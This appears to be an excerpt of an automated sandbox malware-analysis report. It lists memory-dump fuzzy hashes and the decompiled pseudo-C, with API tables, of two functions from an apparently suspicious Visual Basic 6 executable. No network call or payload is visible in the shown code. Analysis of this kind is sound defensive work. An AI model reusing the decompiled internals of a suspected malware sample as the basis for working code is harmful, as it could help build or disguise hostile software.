                    • Opcode Fuzzy Hash: 9bc452b7128cad18c04910c40a142ccfc2b88631ac3292a7ac256835d398c227
                    • Instruction Fuzzy Hash: 4431825700C3C726CE92A6301B645D3EFF11FCFE083AEA2EDD4985D826C5336087AA40
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 8693f0e2ef0094c4bf665c7e246e6dd15063240dcf12b394f5211ce84eb6a22b
                    • Instruction ID: 3e816c983a93778b25c8cbbc48e8ac5c8f9739fea890dabcff63117d1b064e55
                    • Opcode Fuzzy Hash: 8693f0e2ef0094c4bf665c7e246e6dd15063240dcf12b394f5211ce84eb6a22b
                    • Instruction Fuzzy Hash: 7231305750D3C266DE52A7344B692C3EFF15FDFA083AF66DCC0A58D822C1336497AA41
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 25e8006fcb92dc1d5a20069bcb9e9366da40ad3ca33ab2a9408329f4e5c47796
                    • Instruction ID: ad49acd0f9bf2d24c9e1690aad8d933c4c521fb5682dbafe39254319357d9ce7
                    • Opcode Fuzzy Hash: 25e8006fcb92dc1d5a20069bcb9e9366da40ad3ca33ab2a9408329f4e5c47796
                    • Instruction Fuzzy Hash: 8B21351B45C2C366CE42A73057B42C3EFF25FCFA193AEA6DCC4A48D922C1335487AA40
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 3fa0440741161ae6961f18311bfad0c1533f25165c6dce9e30a331d6d37b6786
                    • Instruction ID: 18be566fe530e73a277d4307e26ff2fb9e3646fd85fdb15e6ac3cbbad7858276
                    • Opcode Fuzzy Hash: 3fa0440741161ae6961f18311bfad0c1533f25165c6dce9e30a331d6d37b6786
                    • Instruction Fuzzy Hash: 801123A6659AC1BBCF539F7084916D7FFE09E4F30032A18C5C8840E412CA2154A7DB86
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 85f4b2696422e8680c0ae16ad2d58c3b5120486cfd377e625df7d1df3686d278
                    • Instruction ID: 369515ece3d4513f9bd0161572abc8edaf97f10b73bb9bf4c34fad78fba2299e
                    • Opcode Fuzzy Hash: 85f4b2696422e8680c0ae16ad2d58c3b5120486cfd377e625df7d1df3686d278
                    • Instruction Fuzzy Hash: 4121F21B05C3D366DE52A7304BB52D7EFF15FCFA187AE91ECC1A84D822C12360939A41
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 6ae6e20e8b9ce9836a4b81fc4450801146a933e19c73f77ce83102935d3d332b
                    • Instruction ID: 60b61e2f0e368b02a7ed209289cd0e091f5a21aef0b7ba2dd6ba30351ce72560
                    • Opcode Fuzzy Hash: 6ae6e20e8b9ce9836a4b81fc4450801146a933e19c73f77ce83102935d3d332b
                    • Instruction Fuzzy Hash: B721B45B55C3C756DE4267305BB92D7EFF24FDFA5836E65ECC0948C822C1276093AA40
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 81ffc4cbb96c1c3f44a2cd898ee4d149c3fb82203787ebdb386b8be96d3ec0d0
                    • Instruction ID: 0d630ca8fb60fc6bfd7e8d277fb9b985d76f60ff3ca25b97fcf7bd1d4b7fcc9d
                    • Opcode Fuzzy Hash: 81ffc4cbb96c1c3f44a2cd898ee4d149c3fb82203787ebdb386b8be96d3ec0d0
                    • Instruction Fuzzy Hash: CA11FE1B15C38366DE4697304BB9697FBF65FCFA043AAA2ECC1A88D552C53350879A40
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 5b008acd438160146827b5c35908c18b5f264b87b418c183510d9f98b694296f
                    • Instruction ID: 26769564eca5a8684ba514dd89ace8821d2af3bf6c98535ba2379e433ed728e5
                    • Opcode Fuzzy Hash: 5b008acd438160146827b5c35908c18b5f264b87b418c183510d9f98b694296f
                    • Instruction Fuzzy Hash: 7711941B14D3C366DA82A7304BB92C3EFB24FCFA183AEA2DCC4944D412C5331087AA00
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 60b77dc784189083da621ace074a6d604e3624eee2774a9b6bd90dc83f9ad0ec
                    • Instruction ID: a5b58b70712b7493596a8dbba3b2d0050ad941bc0a3ffc526e2a1ab46a49d96d
                    • Opcode Fuzzy Hash: 60b77dc784189083da621ace074a6d604e3624eee2774a9b6bd90dc83f9ad0ec
                    • Instruction Fuzzy Hash: B811925B10C2C726CE82A73457A82D3EFF65FCFE093AE62DCC0A44C822C4335083AA45
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 316df40ff853add5e66d18d97f85d73a77cdb56ce72baedd6b3bdbe018883418
                    • Instruction ID: d478fdc764a2227652b33a0d3edede7c7391b40e12be3a155a989024e6718abe
                    • Opcode Fuzzy Hash: 316df40ff853add5e66d18d97f85d73a77cdb56ce72baedd6b3bdbe018883418
                    • Instruction Fuzzy Hash: EF11A50B10D2C326CA4296304BB56D7EFB65FCFD0539A62EDC0948D812C42350979640
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: b2df7f803dcc145329e30db19f0fa1e14b3f13356a41b873c921de75a9e29f59
                    • Instruction ID: 7b8c9a43fb36b2ac4e287a93f87c06d48abd8eb5321ebc3e7c68cde49cb8f019
                    • Opcode Fuzzy Hash: b2df7f803dcc145329e30db19f0fa1e14b3f13356a41b873c921de75a9e29f59
                    • Instruction Fuzzy Hash: 1211220B00D3C361CE5293341BB81C3EFB11ECFE0439F61DCC0948C816C13324869601
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.398410323.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 20378cc46ccfc403c5770cbd0665b6906f55d01664a69f98ef857e8d57c9eb15
                    • Instruction ID: 382f61773e6e8e5b65f711ac2b60a7d0036c3963f29ce74f0547bdbfc613afff
                    • Opcode Fuzzy Hash: 20378cc46ccfc403c5770cbd0665b6906f55d01664a69f98ef857e8d57c9eb15
                    • Instruction Fuzzy Hash: DD01725B05C38356DE9296304BB4293EBF10BCFE193AAA5DCD0A98D826C0336153AA50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: eb51ca23090e648f8c20f37862df8b790cc61b7802da99a6592b7852efe0fd91
                    • Instruction ID: 12a2ee206043068c812cb8fe202010901167ec645887266a20207c968fbf5975
                    • Opcode Fuzzy Hash: eb51ca23090e648f8c20f37862df8b790cc61b7802da99a6592b7852efe0fd91
                    • Instruction Fuzzy Hash: 13B012303D4003BB570087684D438E4A180924AB803304C33F341C61F0D778CC40C13D
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 58%
                    			E0041442A(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v16;
                    				void* _v28;
                    				void* _v32;
                    				void* _v36;
                    				signed int _v40;
                    				char _v44;
                    				char _v48;
                    				intOrPtr _v56;
                    				char _v64;
                    				void* _v84;
                    				signed int _v88;
                    				signed int _v92;
                    				signed int _v104;
                    				intOrPtr* _v108;
                    				signed int _v112;
                    				intOrPtr* _v116;
                    				signed int _v120;
                    				signed long long _v124;
                    				char _v128;
                    				intOrPtr _v132;
                    				signed int _v136;
                    				signed int _t94;
                    				char* _t98;
                    				char* _t102;
                    				signed int _t106;
                    				char* _t107;
                    				char* _t108;
                    				signed int _t111;
                    				char* _t116;
                    				signed int _t120;
                    				intOrPtr _t134;
                    				void* _t148;
                    				void* _t150;
                    				intOrPtr _t151;
                    				intOrPtr* _t152;
                    				signed long long _t165;
                    				signed int _t169;
                    
                    				_t151 = _t150 - 0xc;
                    				 *[fs:0x0] = _t151;
                    				L004014B0();
                    				_v16 = _t151;
                    				_v12 = 0x4011f0;
                    				_v8 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x70,  *[fs:0x0], 0x4014b6, _t148);
                    				L00401684();
                    				_v56 = 1;
                    				_v64 = 2;
                    				_push(0xfffffffe);
                    				_push(0xfffffffe);
                    				_push(0xfffffffe);
                    				_push(0xffffffff);
                    				_t94 =  &_v64;
                    				_push(_t94);
                    				L00401630();
                    				L00401648();
                    				L00401636();
                    				_push(0);
                    				_push(0xffffffff);
                    				_push(0x4113ec);
                    				_push("ABC");
                    				L0040162A();
                    				if(_t94 != 3) {
                    					if( *0x419010 != 0) {
                    						_v108 = 0x419010;
                    					} else {
                    						_push(0x419010);
                    						_push(0x41192c);
                    						L00401696();
                    						_v108 = 0x419010;
                    					}
                    					_t116 =  &_v44;
                    					L0040169C();
                    					_v84 = _t116;
                    					_t120 =  *((intOrPtr*)( *_v84 + 0x188))(_v84,  &_v40, _t116,  *((intOrPtr*)( *((intOrPtr*)( *_v108)) + 0x32c))( *_v108));
                    					asm("fclex");
                    					_v88 = _t120;
                    					if(_v88 >= 0) {
                    						_v112 = _v112 & 0x00000000;
                    					} else {
                    						_push(0x188);
                    						_push(0x4113f0);
                    						_push(_v84);
                    						_push(_v88);
                    						L00401690();
                    						_v112 = _t120;
                    					}
                    					_v104 = _v40;
                    					_v40 = _v40 & 0x00000000;
                    					_v56 = _v104;
                    					_v64 = 8;
                    					_t94 =  &_v64;
                    					_push(_t94);
                    					L00401624();
                    					L00401648();
                    					L0040168A();
                    					L00401636();
                    				}
                    				_push(0x411404);
                    				L0040161E();
                    				L00401648();
                    				_push(_t94);
                    				_push(0x41140c);
                    				L0040164E();
                    				asm("sbb eax, eax");
                    				_v84 =  ~( ~( ~_t94));
                    				L0040165A();
                    				_t98 = _v84;
                    				if(_t98 != 0) {
                    					if( *0x419010 != 0) {
                    						_v116 = 0x419010;
                    					} else {
                    						_push(0x419010);
                    						_push(0x41192c);
                    						L00401696();
                    						_v116 = 0x419010;
                    					}
                    					_t134 =  *((intOrPtr*)( *_v116));
                    					_t102 =  &_v44;
                    					L0040169C();
                    					_v84 = _t102;
                    					_t106 =  *((intOrPtr*)( *_v84 + 0x100))(_v84,  &_v48, _t102,  *((intOrPtr*)(_t134 + 0x318))( *_v116));
                    					asm("fclex");
                    					_v88 = _t106;
                    					if(_v88 >= 0) {
                    						_v120 = _v120 & 0x00000000;
                    					} else {
                    						_push(0x100);
                    						_push(0x411410);
                    						_push(_v84);
                    						_push(_v88);
                    						L00401690();
                    						_v120 = _t106;
                    					}
                    					_push(0);
                    					_push(0);
                    					_push(_v48);
                    					_t107 =  &_v64;
                    					_push(_t107);
                    					L00401618();
                    					_t152 = _t151 + 0x10;
                    					_push(_t134);
                    					_v112 =  *0x4011e8;
                    					_t165 =  *0x4011e0 *  *0x4011d8;
                    					if( *0x419000 != 0) {
                    						_push( *0x4011d4);
                    						_push( *0x4011d0);
                    						L004014D4();
                    					} else {
                    						_t165 = _t165 /  *0x4011d0;
                    					}
                    					_v124 = _t165;
                    					_v128 =  *0x4011c8;
                    					L00401612();
                    					_t169 =  *0x4011bc;
                    					_v136 = _t169;
                    					_t108 =  &_v64;
                    					L0040160C();
                    					_v128 = _t108;
                    					asm("fild dword [ebp-0x7c]");
                    					_v132 = _t169;
                    					 *_t152 = _v132;
                    					 *_t152 =  *0x4011b8;
                    					_t111 =  *((intOrPtr*)( *_a4 + 0x2c0))(_a4, 0x1c2, _t134, _t134, _t108, _t134, _t107, _t134, _t134);
                    					asm("fclex");
                    					_v92 = _t111;
                    					if(_v92 >= 0) {
                    						_v136 = _v136 & 0x00000000;
                    					} else {
                    						_push(0x2c0);
                    						_push(0x410d28);
                    						_push(_a4);
                    						_push(_v92);
                    						L00401690();
                    						_v136 = _t111;
                    					}
                    					_push( &_v48);
                    					_t98 =  &_v44;
                    					_push(_t98);
                    					_push(2);
                    					L00401654();
                    					L00401636();
                    				}
                    				asm("wait");
                    				_push(0x414779);
                    				L0040165A();
                    				L0040165A();
                    				L0040165A();
                    				return _t98;
                    			}










































                    0x0041442d
                    0x0041443c
                    0x00414446
                    0x0041444e
                    0x00414451
                    0x00414458
                    0x00414467
                    0x00414470
                    0x00414475
                    0x0041447c
                    0x00414483
                    0x00414485
                    0x00414487
                    0x00414489
                    0x0041448b
                    0x0041448e
                    0x0041448f
                    0x00414499
                    0x004144a1
                    0x004144a6
                    0x004144a8
                    0x004144aa
                    0x004144af
                    0x004144b4
                    0x004144bc
                    0x004144c9
                    0x004144e3
                    0x004144cb
                    0x004144cb
                    0x004144d0
                    0x004144d5
                    0x004144da
                    0x004144da
                    0x004144fe
                    0x00414502
                    0x00414507
                    0x00414516
                    0x0041451c
                    0x0041451e
                    0x00414525
                    0x00414541
                    0x00414527
                    0x00414527
                    0x0041452c
                    0x00414531
                    0x00414534
                    0x00414537
                    0x0041453c
                    0x0041453c
                    0x00414548
                    0x0041454b
                    0x00414552
                    0x00414555
                    0x0041455c
                    0x0041455f
                    0x00414560
                    0x0041456a
                    0x00414572
                    0x0041457a
                    0x0041457a
                    0x0041457f
                    0x00414584
                    0x0041458e
                    0x00414593
                    0x00414594
                    0x00414599
                    0x004145a0
                    0x004145a6
                    0x004145ad
                    0x004145b2
                    0x004145b8
                    0x004145c5
                    0x004145df
                    0x004145c7
                    0x004145c7
                    0x004145cc
                    0x004145d1
                    0x004145d6
                    0x004145d6
                    0x004145f0
                    0x004145fa
                    0x004145fe
                    0x00414603
                    0x00414612
                    0x00414618
                    0x0041461a
                    0x00414621
                    0x0041463d
                    0x00414623
                    0x00414623
                    0x00414628
                    0x0041462d
                    0x00414630
                    0x00414633
                    0x00414638
                    0x00414638
                    0x00414641
                    0x00414643
                    0x00414645
                    0x00414648
                    0x0041464b
                    0x0041464c
                    0x00414651
                    0x0041465a
                    0x0041465b
                    0x00414664
                    0x00414671
                    0x0041467b
                    0x00414681
                    0x00414687
                    0x00414673
                    0x00414673
                    0x00414673
                    0x0041468c
                    0x0041469d
                    0x004146a6
                    0x004146ac
                    0x004146b3
                    0x004146b6
                    0x004146ba
                    0x004146bf
                    0x004146c2
                    0x004146c5
                    0x004146cc
                    0x004146d6
                    0x004146e6
                    0x004146ec
                    0x004146ee
                    0x004146f5
                    0x00414714
                    0x004146f7
                    0x004146f7
                    0x004146fc
                    0x00414701
                    0x00414704
                    0x00414707
                    0x0041470c
                    0x0041470c
                    0x0041471e
                    0x0041471f
                    0x00414722
                    0x00414723
                    0x00414725
                    0x00414730
                    0x00414730
                    0x00414735
                    0x00414736
                    0x00414763
                    0x0041476b
                    0x00414773
                    0x00414778

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00414446
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00414470
                    • #703.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041448F
                    • __vbaStrMove.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414499
                    • __vbaFreeVar.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 004144A1
                    • #709.MSVBVM60(ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 004144B4
                    • __vbaNew2.MSVBVM60(0041192C,00419010,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 004144D5
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414502
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,00000188,?,?,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414537
                    • #667.MSVBVM60(00000008,?,?,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414560
                    • __vbaStrMove.MSVBVM60(00000008,?,?,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041456A
                    • __vbaFreeObj.MSVBVM60(00000008,?,?,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414572
                    • __vbaFreeVar.MSVBVM60(00000008,?,?,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041457A
                    • #527.MSVBVM60(00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414584
                    • __vbaStrMove.MSVBVM60(00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041458E
                    • __vbaStrCmp.MSVBVM60(0041140C,00000000,00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414599
                    • __vbaFreeStr.MSVBVM60(0041140C,00000000,00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 004145AD
                    • __vbaNew2.MSVBVM60(0041192C,00419010,0041140C,00000000,00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 004145D1
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 004145FE
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411410,00000100), ref: 00414633
                    • __vbaLateIdCallLd.MSVBVM60(00000002,?,00000000,00000000), ref: 0041464C
                    • _adj_fdiv_m64.MSVBVM60(?,?,?,?,004014B6), ref: 00414687
                    • __vbaFpI4.MSVBVM60(?,?,?,?,?,?,004014B6), ref: 004146A6
                    • __vbaI4Var.MSVBVM60(?,?,00000000,?,?,?,?,?,?,004014B6), ref: 004146BA
                    • __vbaHresultCheckObj.MSVBVM60(00000000,004011F0,00410D28,000002C0), ref: 00414707
                    • __vbaFreeObjList.MSVBVM60(00000002,?,00000000), ref: 00414725
                    • __vbaFreeVar.MSVBVM60(?,?,?,?,?,?,004014B6), ref: 00414730
                    • __vbaFreeStr.MSVBVM60(00414779,0041140C,00000000,00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414763
                    • __vbaFreeStr.MSVBVM60(00414779,0041140C,00000000,00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 0041476B
                    • __vbaFreeStr.MSVBVM60(00414779,0041140C,00000000,00411404,ABC,004113EC,000000FF,00000000,00000002,000000FF,000000FE,000000FE,000000FE), ref: 00414773
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$CheckHresultMove$New2$#527#667#703#709CallChkstkCopyLateList_adj_fdiv_m64
                    • String ID: ABC$yGA
                    • API String ID: 4279506577-3896568639
                    • Opcode ID: 271f9917dc0709c48f19f783cd7f258ed746b5aca2191d9f420780aae4e99f51
                    • Instruction ID: 99e854f6e77e997317c429da882e4e5f4de9e88ea633c99e7e01e9b796f379b9
                    • Opcode Fuzzy Hash: 271f9917dc0709c48f19f783cd7f258ed746b5aca2191d9f420780aae4e99f51
                    • Instruction Fuzzy Hash: 7E910671A00208EFCB14EFE1CD55BEDBBB8BB08704F24492AF111BB1A1DB795985DB58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 44%
                    			E00413CB4(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8, void* _a12) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				void* _v24;
                    				void* _v28;
                    				intOrPtr _v32;
                    				signed int _v36;
                    				char _v40;
                    				signed int _v44;
                    				intOrPtr _v52;
                    				char _v60;
                    				intOrPtr _v68;
                    				char _v76;
                    				char _v92;
                    				char _v108;
                    				intOrPtr _v132;
                    				char _v140;
                    				intOrPtr _v148;
                    				char _v156;
                    				intOrPtr _v164;
                    				intOrPtr _v172;
                    				intOrPtr _v180;
                    				intOrPtr _v188;
                    				void* _v208;
                    				signed int _v212;
                    				intOrPtr* _v216;
                    				signed int _v220;
                    				signed int _v228;
                    				signed int _v232;
                    				intOrPtr* _v236;
                    				signed int _v240;
                    				intOrPtr* _v244;
                    				signed int _v248;
                    				intOrPtr* _v252;
                    				signed int _v256;
                    				char* _t117;
                    				signed int _t120;
                    				char* _t125;
                    				short _t129;
                    				char* _t134;
                    				char* _t138;
                    				signed int _t142;
                    				signed int _t155;
                    				intOrPtr _t193;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t193;
                    				L004014B0();
                    				_v12 = _t193;
                    				_v8 = 0x401180;
                    				L00401684();
                    				L00401684();
                    				if( *0x419010 != 0) {
                    					_v236 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v236 = 0x419010;
                    				}
                    				_t117 =  &_v40;
                    				L0040169C();
                    				_v208 = _t117;
                    				_t120 =  *((intOrPtr*)( *_v208 + 0x180))(_v208, _t117,  *((intOrPtr*)( *((intOrPtr*)( *_v236)) + 0x368))( *_v236));
                    				asm("fclex");
                    				_v212 = _t120;
                    				if(_v212 >= 0) {
                    					_v240 = _v240 & 0x00000000;
                    				} else {
                    					_push(0x180);
                    					_push(0x411344);
                    					_push(_v208);
                    					_push(_v212);
                    					L00401690();
                    					_v240 = _t120;
                    				}
                    				L0040168A();
                    				_push( &_v60);
                    				L0040167E();
                    				_push( &_v76);
                    				L0040167E();
                    				_v132 = 1;
                    				_v140 = 2;
                    				_push(1);
                    				_push(1);
                    				_push( &_v76);
                    				_push( &_v140);
                    				_t125 =  &_v92;
                    				_push(_t125);
                    				L0040166C();
                    				_push(_t125);
                    				_push( &_v60);
                    				_push(0x411358);
                    				_push( &_v108);
                    				L00401672();
                    				_v148 = 1;
                    				_v156 = 0x8002;
                    				_push( &_v108);
                    				_t129 =  &_v156;
                    				_push(_t129);
                    				L00401678();
                    				_v208 = _t129;
                    				_push( &_v108);
                    				_push( &_v92);
                    				_push( &_v60);
                    				_push( &_v76);
                    				_push(4);
                    				L00401666();
                    				_t134 = _v208;
                    				if(_t134 != 0) {
                    					if( *0x419010 != 0) {
                    						_v244 = 0x419010;
                    					} else {
                    						_push(0x419010);
                    						_push(0x41192c);
                    						L00401696();
                    						_v244 = 0x419010;
                    					}
                    					_t138 =  &_v40;
                    					L0040169C();
                    					_v208 = _t138;
                    					_t142 =  *((intOrPtr*)( *_v208 + 0xb0))(_v208,  &_v36, _t138,  *((intOrPtr*)( *((intOrPtr*)( *_v244)) + 0x33c))( *_v244));
                    					asm("fclex");
                    					_v212 = _t142;
                    					if(_v212 >= 0) {
                    						_v248 = _v248 & 0x00000000;
                    					} else {
                    						_push(0xb0);
                    						_push(0x411324);
                    						_push(_v208);
                    						_push(_v212);
                    						L00401690();
                    						_v248 = _t142;
                    					}
                    					if( *0x41931c != 0) {
                    						_v252 = 0x41931c;
                    					} else {
                    						_push(0x41931c);
                    						_push(0x41137c);
                    						L00401696();
                    						_v252 = 0x41931c;
                    					}
                    					_v216 =  *_v252;
                    					_v180 = 0x51d639;
                    					_v188 = 3;
                    					_v164 = 0x8cb0c;
                    					_v172 = 3;
                    					_v148 = 0x18;
                    					_v156 = 2;
                    					_v132 = 0x6285ce;
                    					_v140 = 3;
                    					_v228 = _v36;
                    					_v36 = _v36 & 0x00000000;
                    					_v52 = _v228;
                    					_v60 = 8;
                    					L004014B0();
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					L004014B0();
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					L004014B0();
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					L004014B0();
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					L004014B0();
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					_t155 =  *((intOrPtr*)( *_v216 + 0x44))(_v216, 0x10, 0x10, 0x10, 0x10, 0x10,  &_v44);
                    					asm("fclex");
                    					_v220 = _t155;
                    					if(_v220 >= 0) {
                    						_v256 = _v256 & 0x00000000;
                    					} else {
                    						_push(0x44);
                    						_push(0x41136c);
                    						_push(_v216);
                    						_push(_v220);
                    						L00401690();
                    						_v256 = _t155;
                    					}
                    					_v232 = _v44;
                    					_v44 = _v44 & 0x00000000;
                    					_v68 = _v232;
                    					_v76 = 9;
                    					_push(0x10);
                    					L004014B0();
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					asm("movsd");
                    					_push(0);
                    					_push(_v32);
                    					L00401660();
                    					L0040168A();
                    					_push( &_v76);
                    					_t134 =  &_v60;
                    					_push(_t134);
                    					_push(2);
                    					L00401666();
                    				}
                    				_push(0x4140f2);
                    				L0040165A();
                    				L0040165A();
                    				L0040168A();
                    				return _t134;
                    			}














































                    0x00413cb9
                    0x00413cc4
                    0x00413cc5
                    0x00413cd1
                    0x00413cd9
                    0x00413cdc
                    0x00413ce9
                    0x00413cf4
                    0x00413d00
                    0x00413d1d
                    0x00413d02
                    0x00413d02
                    0x00413d07
                    0x00413d0c
                    0x00413d11
                    0x00413d11
                    0x00413d41
                    0x00413d45
                    0x00413d4a
                    0x00413d5e
                    0x00413d64
                    0x00413d66
                    0x00413d73
                    0x00413d98
                    0x00413d75
                    0x00413d75
                    0x00413d7a
                    0x00413d7f
                    0x00413d85
                    0x00413d8b
                    0x00413d90
                    0x00413d90
                    0x00413da2
                    0x00413daa
                    0x00413dab
                    0x00413db3
                    0x00413db4
                    0x00413db9
                    0x00413dc0
                    0x00413dca
                    0x00413dcc
                    0x00413dd1
                    0x00413dd8
                    0x00413dd9
                    0x00413ddc
                    0x00413ddd
                    0x00413de2
                    0x00413de6
                    0x00413de7
                    0x00413def
                    0x00413df0
                    0x00413df5
                    0x00413dff
                    0x00413e0c
                    0x00413e0d
                    0x00413e13
                    0x00413e14
                    0x00413e19
                    0x00413e23
                    0x00413e27
                    0x00413e2b
                    0x00413e2f
                    0x00413e30
                    0x00413e32
                    0x00413e3a
                    0x00413e43
                    0x00413e50
                    0x00413e6d
                    0x00413e52
                    0x00413e52
                    0x00413e57
                    0x00413e5c
                    0x00413e61
                    0x00413e61
                    0x00413e91
                    0x00413e95
                    0x00413e9a
                    0x00413eb2
                    0x00413eb8
                    0x00413eba
                    0x00413ec7
                    0x00413eec
                    0x00413ec9
                    0x00413ec9
                    0x00413ece
                    0x00413ed3
                    0x00413ed9
                    0x00413edf
                    0x00413ee4
                    0x00413ee4
                    0x00413efa
                    0x00413f17
                    0x00413efc
                    0x00413efc
                    0x00413f01
                    0x00413f06
                    0x00413f0b
                    0x00413f0b
                    0x00413f29
                    0x00413f2f
                    0x00413f39
                    0x00413f43
                    0x00413f4d
                    0x00413f57
                    0x00413f61
                    0x00413f6b
                    0x00413f72
                    0x00413f7f
                    0x00413f85
                    0x00413f8f
                    0x00413f92
                    0x00413fa0
                    0x00413fad
                    0x00413fae
                    0x00413faf
                    0x00413fb0
                    0x00413fb4
                    0x00413fc1
                    0x00413fc2
                    0x00413fc3
                    0x00413fc4
                    0x00413fc8
